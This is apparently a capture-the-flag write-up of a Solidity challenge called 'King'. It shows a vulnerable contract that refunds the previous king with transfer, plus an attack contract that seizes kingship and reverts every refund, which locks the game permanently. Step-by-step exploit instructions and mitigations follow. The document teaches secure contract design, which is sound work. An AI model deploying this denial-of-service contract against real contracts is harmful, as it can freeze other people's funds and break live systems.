Denial of Service via Failing Ether Transfer
Challenge
The contract below implements a simple (and ponzi-like) game:
- Whoever sends more ETH than the current prize becomes the new king.
- The previous king is paid back the new prize amount.
- The owner can always reclaim kingship.
Goal: Break the game so that nobody (not even the level/owner) can reclaim kingship.
Vulnerable contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value); // <-- vulnerable point
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Vulnerability explained
- The contract uses
transferto send ETH back to the old king. transferonly forwards 2300 gas and reverts on failure.- If the current king is a contract that refuses ETH (by reverting in its
receive()), the whole transaction reverts. - Result: no one can dethrone the malicious king → kingship is locked forever.
Attack contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingAttack {
constructor(address payable _king) payable {
// Become the king on deployment
(bool success, ) = _king.call{value: msg.value}("");
require(success, "Failed to become king");
}
// Block any ETH refunds → Denial of Service
receive() external payable {
revert("I will not give up the throne!");
}
}
Exploit — step by step
-
Deploy the
KingAttackcontract with some ETH greater than the currentprize.- Example: if
prize == 1 ether, deploy with2 ether.
- Example: if
-
In the constructor,
KingAttacksends ETH to the vulnerableKingcontract, becoming the new king. -
Now, the vulnerable contract’s
kingstate variable points to theKingAttackcontract. -
When anyone (even the level/owner) tries to dethrone you:
- The contract tries
transfertoKingAttack. - But
KingAttack.receive()reverts. - Entire transaction fails → nobody can replace you.
- The contract tries
-
Kingship is permanently locked.
Mitigation
- Do not use
transferorsendwhen interacting with untrusted contracts. - Use a pull payment model: let users withdraw their own funds instead of force-paying them.
- If forwarding ETH is required, use
calland handle success/failure gracefully.
Conclusion
This challenge demonstrates a common Denial of Service (DoS) pattern:
Forcing a contract into an unrecoverable state by making ETH transfers fail.
Anytime a contract pushes ETH to an unknown address, it risks being locked. Safe design = let users pull their own funds.